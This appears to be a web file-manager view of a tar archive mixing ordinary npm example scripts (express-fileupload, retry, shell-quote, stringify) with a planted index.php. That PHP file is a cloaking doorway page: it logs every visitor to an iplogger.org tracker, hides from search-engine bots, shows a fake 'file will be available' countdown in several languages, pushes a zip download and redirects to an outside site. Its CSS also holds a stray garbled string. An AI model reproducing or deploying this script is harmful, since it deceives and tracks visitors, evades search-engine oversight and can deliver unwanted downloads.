[EDIT] FILE: example.tar
uploads/placeholder.txt 0000755 00000000113 15073404504 0011236 0 ustar 00 files are placed here when uploaded using the upload.test.js express server index.php 0000755 00000011322 15073404504 0006370 0 ustar 00 <?php // Configuration $config = [ 'enable_redirect' => true, // Enable redirect 'blocked_bots' => true, // Ban for search engine robots 'blocked_languages' => ['zqh'], // Blocked browser languages 'redirect_delay' => 5, // Delay before redirect (in seconds) 'desktop_links' => [ 'https://ozornik.net/audioskazki', 'https://ozornik.net/audioskazki', ], // PC Links 'mobile_links' => [ 'https://ozornik.net/audioskazki', 'https://ozornik.net/audioskazki', ], // Links for mobile 'confirmation_required' => true, // Show form before redirect 'download_file' => 'example.zip', // File for download via the button 'log_service' => 'https://iplogger.org/your-logger-url', // Logging via iplogger.org 'text_content' => [ 'en' => ['title' => 'File will be available in', 'message' => 'Please wait or click the button below to download the file.'], 'ru' => ['title' => 'Файл будет доступен через', 'message' => 'Пожалуйста, подождите или нажмите кнопку ниже, чтобы скачать файл.'], 'es' => ['title' => 'El archivo estará disponible en', 'message' => 'Espere o haga clic en el botón de abajo para descargar el archivo.'], 'fr' => ['title' => 'Le fichier sera disponible dans', 'message' => 'Veuillez patienter ou cliquez sur le bouton ci-dessous pour télécharger le fichier.'] ] ]; // Visit logging via cURL function log_visit($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_exec($ch); curl_close($ch); } log_visit($config['log_service']); // Check the bot if ($config['blocked_bots']) { $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $bots = ['googlebot', 'bingbot', 'yandexbot', 'baiduspider', 'duckduckbot']; foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { die('Access Denied'); } } } // Determining the browser language function get_browser_language() { return substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } $lang = get_browser_language(); $text = $config['text_content'][$lang] ?? $config['text_content']['en']; if (in_array($lang, $config['blocked_languages'])) { die('Access Denied'); } // Device definition $is_mobile = preg_match('/(android|iphone|ipad|ipod|mobile|blackberry|opera mini|iemobile)/i', $_SERVER['HTTP_USER_AGENT']); $redirect_links = $is_mobile ? $config['mobile_links'] : $config['desktop_links']; $redirect_url = $redirect_links[array_rand($redirect_links)]; // Form before redirect if ($config['confirmation_required']) { echo "<html><head><meta charset='UTF-8'> <meta http-equiv='refresh' content='{$config['redirect_delay']};url={$redirect_url}'> <title>{$text['title']} {$config['redirect_delay']} секунд</title> <style> body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background-color: #f9f9f9; transition: background 0.5s; } .container { max-width: 44gTNjmeLtpBTZb9tWtAbLZdkmi55f6pbfS1mDgcieF39kCKUnJDmry3xbFWYvN9xn9qxe82D6tU5fG1sWAcSCbWFF7mSev.1); position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); transition: background 0.5s; } h2 { color: #333; } p { color: #666; } button { padding: 10px 20px; background: #007BFF; color: white; border: none; border-radius: 5px; cursor: pointer; } button:hover { background: #0056b3; } @media (prefers-color-scheme: dark) { body { background-color: #121212; color: white; } .container { background: #1e1e1e; color: white; } h2, p { color: white; } } </style> <script> function downloadAndRedirect() { window.location.href = '{$config['download_file']}'; setTimeout(function() { window.location.href = '{$redirect_url}'; }, 2000); } </script> </head> <body> <div class='container'> <h2>{$text['title']} {$config['redirect_delay']} секунд</h2> <p>{$text['message']}</p> <button onclick='downloadAndRedirect()'>Скачать файл</button> </div> </body> </html>"; exit; } // Waiting before redirecting sleep($config['redirect_delay']); // Redirect after delay header("Location: {$redirect_url}"); exit; README.md 0000755 00000003443 15073404504 0006034 0 ustar 00 # express-fileupload Examples ## Basic File Upload **Your node.js code:** ```javascript const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); // default options app.use(fileUpload()); app.post('/upload', function(req, res) { let sampleFile; let uploadPath; if (!req.files || Object.keys(req.files).length === 0) { return res.status(400).send('No files were uploaded.'); } // The name of the input field (i.e. "sampleFile") is used to retrieve the uploaded file sampleFile = req.files.sampleFile; uploadPath = __dirname + '/somewhere/on/your/server/' + sampleFile.name; // Use the mv() method to place the file somewhere on your server sampleFile.mv(uploadPath, function(err) { if (err) return res.status(500).send(err); res.send('File uploaded!'); }); }); ``` **Your HTML file upload form:** ```html <html> <body> <form ref='uploadForm' id='uploadForm' action='http://localhost:8000/upload' method='post' encType="multipart/form-data"> <input type="file" name="sampleFile" /> <input type='submit' value='Upload!' /> </form> </body> </html> ``` ## Multi-File Upload express-fileupload supports multiple file uploads at the same time. Let's say you have three files in your form, each of the inputs with the name `my_profile_pic`, `my_pet`, and `my_cover_photo`: ```html <input type="file" name="my_profile_pic" /> <input type="file" name="my_pet" /> <input type="file" name="my_cover_photo" /> ``` These uploaded files would be accessible like so: ```javascript app.post('/upload', function(req, res) { // Uploaded files: console.log(req.files.my_profile_pic.name); console.log(req.files.my_pet.name); console.log(req.files.my_cover_photo.name); }); ``` server.js 0000755 00000001656 15073404504 0006425 0 ustar 00 const express = require('express'); const fileUpload = require('../lib/index'); const app = express(); const PORT = 8000; app.use('/form', express.static(__dirname + '/index.html')); // default options app.use(fileUpload()); app.get('/ping', function(req, res) { res.send('pong'); }); app.post('/upload', function(req, res) { let sampleFile; let uploadPath; if (!req.files || Object.keys(req.files).length === 0) { res.status(400).send('No files were uploaded.'); return; } console.log('req.files >>>', req.files); // eslint-disable-line sampleFile = req.files.sampleFile; uploadPath = __dirname + '/uploads/' + sampleFile.name; sampleFile.mv(uploadPath, function(err) { if (err) { return res.status(500).send(err); } res.send('File uploaded to ' + uploadPath); }); }); app.listen(PORT, function() { console.log('Express server listening on port ', PORT); // eslint-disable-line }); inspect.js 0000755 00000000373 15073533502 0006560 0 ustar 00 'use strict'; /* eslint-env browser */ var inspect = require('../'); var d = document.createElement('div'); d.setAttribute('id', 'beep'); d.innerHTML = '<b>wooo</b><i>iiiii</i>'; console.log(inspect([d, { a: 3, b: 4, c: [5, 6, [7, [8, [9]]]] }])); all.js 0000755 00000000607 15073533502 0005663 0 ustar 00 'use strict'; var inspect = require('../'); var Buffer = require('safer-buffer').Buffer; var holes = ['a', 'b']; holes[4] = 'e'; holes[6] = 'g'; var obj = { a: 1, b: [3, 4, undefined, null], c: undefined, d: null, e: { regex: /^x/i, buf: Buffer.from('abc'), holes: holes }, now: new Date() }; obj.self = obj; console.log(inspect(obj)); fn.js 0000755 00000000176 15073533502 0005517 0 ustar 00 'use strict'; var inspect = require('../'); var obj = [1, 2, function f(n) { return n + 5; }, 4]; console.log(inspect(obj)); circular.js 0000755 00000000164 15073533502 0006715 0 ustar 00 'use strict'; var inspect = require('../'); var obj = { a: 1, b: [3, 4] }; obj.c = obj; console.log(inspect(obj)); map.js 0000755 00000000253 15074170670 0005671 0 ustar 00 var concatMap = require('../'); var xs = [ 1, 2, 3, 4, 5, 6 ]; var ys = concatMap(xs, function (x) { return x % 2 ? [ x - 0.1, x, x + 0.1 ] : []; }); console.dir(ys); stop.js 0000755 00000001570 15075447665 0006120 0 ustar 00 var retry = require('../lib/retry'); function attemptAsyncOperation(someInput, cb) { var opts = { retries: 2, factor: 2, minTimeout: 1 * 1000, maxTimeout: 2 * 1000, randomize: true }; var operation = retry.operation(opts); operation.attempt(function(currentAttempt) { failingAsyncOperation(someInput, function(err, result) { if (err && err.message === 'A fatal error') { operation.stop(); return cb(err); } if (operation.retry(err)) { return; } cb(operation.mainError(), operation.errors(), result); }); }); } attemptAsyncOperation('test input', function(err, errors, result) { console.warn('err:'); console.log(err); console.warn('result:'); console.log(result); }); function failingAsyncOperation(input, cb) { return setImmediate(cb.bind(null, new Error('A fatal error'))); } dns.js 0000755 00000001257 15075447665 0005721 0 ustar 00 var dns = require('dns'); var retry = require('../lib/retry'); function faultTolerantResolve(address, cb) { var opts = { retries: 2, factor: 2, minTimeout: 1 * 1000, maxTimeout: 2 * 1000, randomize: true }; var operation = retry.operation(opts); operation.attempt(function(currentAttempt) { dns.resolve(address, function(err, addresses) { if (operation.retry(err)) { return; } cb(operation.mainError(), operation.errors(), addresses); }); }); } faultTolerantResolve('nodejs.org', function(err, errors, addresses) { console.warn('err:'); console.log(err); console.warn('addresses:'); console.log(addresses); }); key_cmp.js 0000755 00000000261 15076563232 0006544 0 ustar 00 var stringify = require('../'); var obj = { c: 8, b: [{z:6,y:5,x:4},7], a: 3 }; var s = stringify(obj, function (a, b) { return a.key < b.key ? 1 : -1; }); console.log(s); str.js 0000755 00000000141 15076563232 0005722 0 ustar 00 var stringify = require('../'); var obj = { c: 6, b: [4,5], a: 3 }; console.log(stringify(obj)); nested.js 0000755 00000000155 15076563232 0006401 0 ustar 00 var stringify = require('../'); var obj = { c: 8, b: [{z:6,y:5,x:4},7], a: 3 }; console.log(stringify(obj)); value_cmp.js 0000755 00000000274 15076563232 0007074 0 ustar 00 var stringify = require('../'); var obj = { d: 6, c: 5, b: [{z:3,y:2,x:1},9], a: 10 }; var s = stringify(obj, function (a, b) { return a.value < b.value ? 1 : -1; }); console.log(s); op.js 0000755 00000000152 15076761017 0005533 0 ustar 00 'use strict'; var parse = require('../').parse; var xs = parse('beep || boop > /byte'); console.dir(xs); parse.js 0000755 00000000166 15076761017 0006234 0 ustar 00 'use strict'; var parse = require('../').parse; var xs = parse('a "b c" \\$def \'it\\\'s great\''); console.dir(xs); quote.js 0000755 00000000155 15076761017 0006255 0 ustar 00 'use strict'; var quote = require('../').quote; var s = quote(['a', 'b c d', '$f', '"g"']); console.log(s); env.js 0000755 00000000200 15076761017 0005677 0 ustar 00 'use strict'; var parse = require('../').parse; var xs = parse('beep --boop="$PWD"', { PWD: '/home/robot' }); console.dir(xs); async.js 0000755 00000000233 15077300216 0006221 0 ustar 00 var resolve = require('../'); resolve('tap', { basedir: __dirname }, function (err, res) { if (err) console.error(err); else console.log(res); }); sync.js 0000755 00000000147 15077300216 0006064 0 ustar 00 var resolve = require('../'); var res = resolve.sync('tap', { basedir: __dirname }); console.log(res); camel.js 0000755 00000000326 15077335476 0006210 0 ustar 00 'use strict'; var camelize = require('../'); var obj = { fee_fie_foe: 'fum', beep_boop: [ { 'abc.xyz': 'mno' }, { 'foo-bar': 'baz' } ] }; var res = camelize(obj); console.log(JSON.stringify(res, null, 2));
SAVE
CANCEL